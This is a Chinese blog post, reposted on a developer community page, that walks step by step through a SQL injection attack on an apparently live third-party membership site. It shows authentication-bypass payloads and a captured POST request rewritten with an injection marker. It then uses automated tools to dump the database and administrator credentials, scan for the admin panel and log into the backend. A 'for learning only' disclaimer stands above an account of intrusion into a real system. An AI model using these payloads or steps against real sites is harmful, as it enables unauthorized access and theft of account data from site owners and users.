前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >小白博客 SQL注入实战

小白博客 SQL注入实战

作者头像
奶糖味的代言
发布2018-04-12 16:01:15
1.4K0
发布2018-04-12 16:01:15
举报
文章被收录于专栏:小白安全

本文仅供学习交流,目的是为了构建更加安全的网络环境!

注入地址

某VIP会员专用系统http://www.tcmpv.com/index.php/Home/Public/login.html

相关工具

注入工具:

超级SQL注入工具【SSQLInjection】http://www.shack2.org/article/1417357815.html

明小子

抓包工具:

Wireshark

注入过程

1.测试漏洞

1)测试 '

首先打开网页,如下图:

请点击此处输入图片描述

一看这种很low的系统就有可能存在漏洞

废话不多说,输入单引号" ' "进行测试:

请点击此处输入图片描述

输入单引号

请点击此处输入图片描述

测试结果

看到测试结果报数据库错误,这就证明该系统存在SQL注入漏洞。而且这些粗心的程序猿连数据库表名都直接暴露出来了(tp_login),这不就等于直接写着:

"我有漏洞,欢迎注入!"

2)测试 'or''='

进一步测试,输入" 'or''=' ",点确定,直接就登录成功了,如下图

请点击此处输入图片描述

输入" 'or''=' ",点确定

请点击此处输入图片描述

登录成功

不用密码,直接进去了,看来漏洞真的存在!

3)测试 3389' and 1=1 and 'a'='a

接下来测试下能不能使用注入语句,这里有两个选择:

  • 继续使用or语句
  • 找到真实密码

or语句前面已经有说明,这里就以知道密码的情况作说明(or语句原理相同)

网页上直接给出了获取密码的方式:

请点击此处输入图片描述

加群,拿到密码:3389

构造新的注入语句:" 3389' and 1=1 and 'a'='a ",测试:

请点击此处输入图片描述

再次成功登入,确认可以进行注入攻击。

接下来就可以对数据库进行数据库名(前面提到,登录错误信息中已经包含了数据库名"tp_login",真是省事啊)、表名、列名……的猜测了

手动猜测的具体方法可以参考这里:

sql注入实例分析(http://www.cnblogs.com/leftshine/p/SQLInjection.html)

当然手动猜测的量太大了,这么劳神费力的事当然要交给程序来完成,不过还是强烈建议看看这篇文章来了解下SQL注入的基本原理,不然后面操作一片茫然。

2.构造数据包

因为该系统不能简单通过网页URL来传递信息,所以我们需要构造数据包以POST方式发送数据包来注入。

1)手动构造:

根据POST数据包结构手动构造一个用于注入的数据包,具体怎么构造那就要去好好学习网络协议了……

2)抓包构造

这就简单多了,我们直接抓取正常发送的数据包,加以改造就可以用来注入了!

这里我们使用Wireshark来抓包,关于Wireshark抓取与分析HTTP包,参考这里:应用层协议FTP、DNS协议、HTTP协议分析(http://www.cnblogs.com/leftshine/p/5698890.html)

使用Wireshark抓取到的POST数据包内容如下:

POST /index.php/Home/Public/do_login.html HTTP/1.1 Host: www.tcmpv.com Connection: keep-alive Content-Length: 8 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Origin: http://www.tcmpv.com Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36 Content-Type: application/x-www-form-urlencoded Referer: http://www.tcmpv.com/index.php/Home/Public/login.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.8 Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1 key=3389

修改成注入使用的POST包:

POST /index.php/Home/Public/do_login.html HTTP/1.1 Referer: http://www.tcmpv.com/index.php/Home/Public/login.html User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Content-Length: 8 Host: www.tcmpv.com Connection: Keep-Alive Pragma: no-cache Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1 key=3389<sEncode>%')#inject##<eEncode>

这个数据包可以由软件"超级SQL注入工具"根据上面的包自动生成,具体操作请参考软件压缩包中相应的使用说明。

3.注入

请点击此处输入图片描述

其实我们只要将抓取到的数据包粘进程序中,然后点击"自动识别",软件就会自动进行相应配置,然后看情况改改就可以了(一般情况下,自动配置就可以搞定了)。

配置完后,点击"发送数据"验证当前配置的数据包是否符合条件,若能够正确返回网页信息,则配置可用:

请点击此处输入图片描述

正确返回网页信息

虽然图中显示"登录失败",但证明可以正确返回网页信息,配置可用!

4.获取数据库信息

点击获取数据

请点击此处输入图片描述

获取数据

然后转到数据中心,依次"获取库"、"获取表"、"获取列"、"获取数据":

请点击此处输入图片描述

数据库信息一览无余

可以看到,确实有名为"tp_login"的表和"3389"这个密码。

接下来就可以随心所欲的获取数据了。

获取到的数据

获取到的管理员账号信息:

请点击此处输入图片描述

管理员账号信息

有了管理员账号信息,如何使用呢?上第二个软件:"明小子",其实它本身就是一个注入工具,不知道是不是年代太久远了……好多功能不实用。这里我们只用到"管理入口扫描"功能,如下图:

请点击此处输入图片描述

管理入口扫描

获取到了4个链接,挨个打开看,发现这个可以用:

http://www.tcmpv.com/index.php/Admin/Public/login.html

请点击此处输入图片描述

管理员登录

输入账号密码,登录

请点击此处输入图片描述

登录成功

登录成功,看到笑脸真是开心!

请点击此处输入图片描述

成功进入后台

成功进入管理后台,发现并没有什么价值的信息,倒是有很多某视频网站的VIP账号,也不造这些万人骑的账号能不能用……

至此,整个SQL注入成功完成!

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档